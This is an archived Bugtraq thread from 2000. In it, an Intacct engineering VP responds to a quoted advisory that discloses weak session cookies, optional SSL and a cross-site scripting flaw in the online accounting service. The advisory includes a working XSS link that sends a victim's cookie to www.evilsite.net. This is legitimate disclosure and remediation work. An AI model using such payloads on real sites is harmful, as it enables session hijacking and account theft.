[16584] in bugtraq
Re: Intacct.com: Multiple bugs at financial services company
daemon@ATHENA.MIT.EDU (Nagi Prabhu)
Tue Sep 5 20:51:08 2000
Message-Id: <20000905232638.6042.qmail@securityfocus.com>
Date: Tue, 5 Sep 2000 23:26:38 -0000
Reply-To: Nagi Prabhu <nagi@INTACCT.COM>
From: Nagi Prabhu <nagi@INTACCT.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Your advisory posting outlines three areas of
concern. FYI, we have taken immediate action and
have already upgraded our web service to remedy
the concerns you raised.
Specifically:
1. Clear Channel vs. SSL
By design, Intacct initially built its system to optimize
customization and give its users a choice of
channels: clear (http) or SSL (https). The reason
being, that some users have older browsers that
cannot run SSL.
As of 8/30, users who request a clear channel (http)
are denied access.
2. Session Key
This issue, was, in fact, a bug. We immediately fixed
the bug and now the session key is working as it was
designed.
3. Cookie Feature / Cross-scripting
The cookie feature was designed for those users
who wanted the convenience
of being able to enter and re-enter the system without
an additional login. However, there was a risk if a
user visited a "evil" site without logging out of the
Intacc system, an operation could be performed on
behalf of the user from that site.
It should be noted here that this problem is pervasive
on the internet which makes many prominent web
services (I won't name them here) vulnerable. The
common advice offered is to logout from any web
service deemed critical before visiting sites of
questionable origin.
We are in the process of changing our application to
no longer make use of
Cookies for session identification. We expect to have
these changes available in
our web site within the next 10 days. These changes
will eliminate any vulnerability from cross-scripting.
Meanwhile we have issued a customer
communication to further remind Intacct users that
for maximum security, they should always log out of
the service or exit their browser at the end of any
Intacct session.
To minimize the risk from security vulnerabilities
Intacct has began the
process of obtaining an AICPA SysTrust audit
through one of the Big 5 accounting firms.
We hope that our actions satisfies your concerns and
that you are convinced that Intacct is committed to
providing online security for our customers.
Nagi Prabhu
Vice President, Engineering
Intacct Corporation
> Security Advisory: Multiple Exploitable
Vulnerabilities at Intacct.com
>
> *Date
>
> 26 August 2000
>
> *Copyright statement
>
> This security advisory is Copyright 2000 by Jeffrey
William Baker
> (jwbaker@acm.org). The advisory may be
distributed in whole or in part
> without modification.
>
> *Background
>
> These vulnerabilities were discovered while I was
investigating the
> security of online accounting firms such as Intacct
[1]. I have found
> many systematic, exploitable vulnerabilities at
Intacct. I have not
> received any response to emails I have sent to
Intacct. The security
> problems with the Intacct service are so great, and
Intacct has been so
> lax in responding to them, that I am compelled to
offer this security
> advisory as a service to Intacct customers.
>
> *Synopsis
>
> Intacct is an online accounting service. Their
website allows a user to
> perform business accounting functions. Intacct
makes very bold claims
> regarding their security. In their security marketing
materials [2], they
> claim to have "world-class security you expect from
a top-tier financial
> services provider."
>
> The Intacct marketing department apparently forgot
to synchronize with the
> engineering department, because the Intacct
service, which is currently in
> production with paying customers, allows an
attacker to:
>
> 1) Log in as the victim in perpetuity
> 2) View and modify victims' accounts, budgets, etc.
> 3) Change victims' passwords
> 4) Deny service to victims by modifying Intacct
billing information
>
> No action is required on the part of the victim for
these attacks to
> succeed.
>
> *Details
>
> Intacct suffers from three problems: they are
vulnerable to the attack
> defined in CERT CA-2000-02 [3], they do not use
encryption everywhere, and
> their login and session management systems are
the worst I have ever seen.
>
> The other vulnerabilities are hardly even relevant,
because it is trivial
> to compute the login cookie for any Intacct user.
When an Intacct user
> logs in, they are sent two cookies with the
names ".sign" and ".userid".
> These cookies always have the same value for a
given user. It is possible
> to guess the cookie for any Intacct user because
the .userid cookie is
> issued sequentially, and the .sign cookie is always
one of three values
> [4]. The attacker will require a maximum of three
attempts before gaining
> access to any Intacct account.
>
> Once the attacker has gained access, the situation
is aggravated by the
> ability to change a victim's password without
knowing the current
> password. Standard security procedure dictates
that you should always ask
> for the existing password before allowing the
password to be changed.
>
> Another vulnerability is due to the fact that Intacct
accepts traffic to
> their application over clear channels. They do not
enforce the use of
> SSL. A user can replace https with http in any
Intacct URL and still use
> the system normally. Intacct should require their
customers to always use
> SSL, lest they be tricked into sending their
password in the clear.
>
> The cross-site scripting vulnerability is very simple.
Any logged-on
> Intacct user can be made to reveal their login
cookie, simply by visiting
> a link like this:
>
>
https://www.intacct.com/ia/edit_budget.phtml?.done=
budgets.phtml&.account_fld=<script>location.replace
(%27http://www.evilsite.net/%3F%27%2Bescape
(document.cookie))</script>
>
> The site "www.evilsite.net" will then have
possession of their login
> cookie.
>
> *Conclusion
>
> Do not use Intacct's services.
>
> *Footnotes
>
> 1: http://www.intacct.com
> 2: http://www.intacct.com/services/security/
> 3: http://www.cert.org/advisories/CA-2000-02.html
> 4: I will not reveal them, but the three values will be
immediately
> obvious to anyone who investigates Intacct.
>
>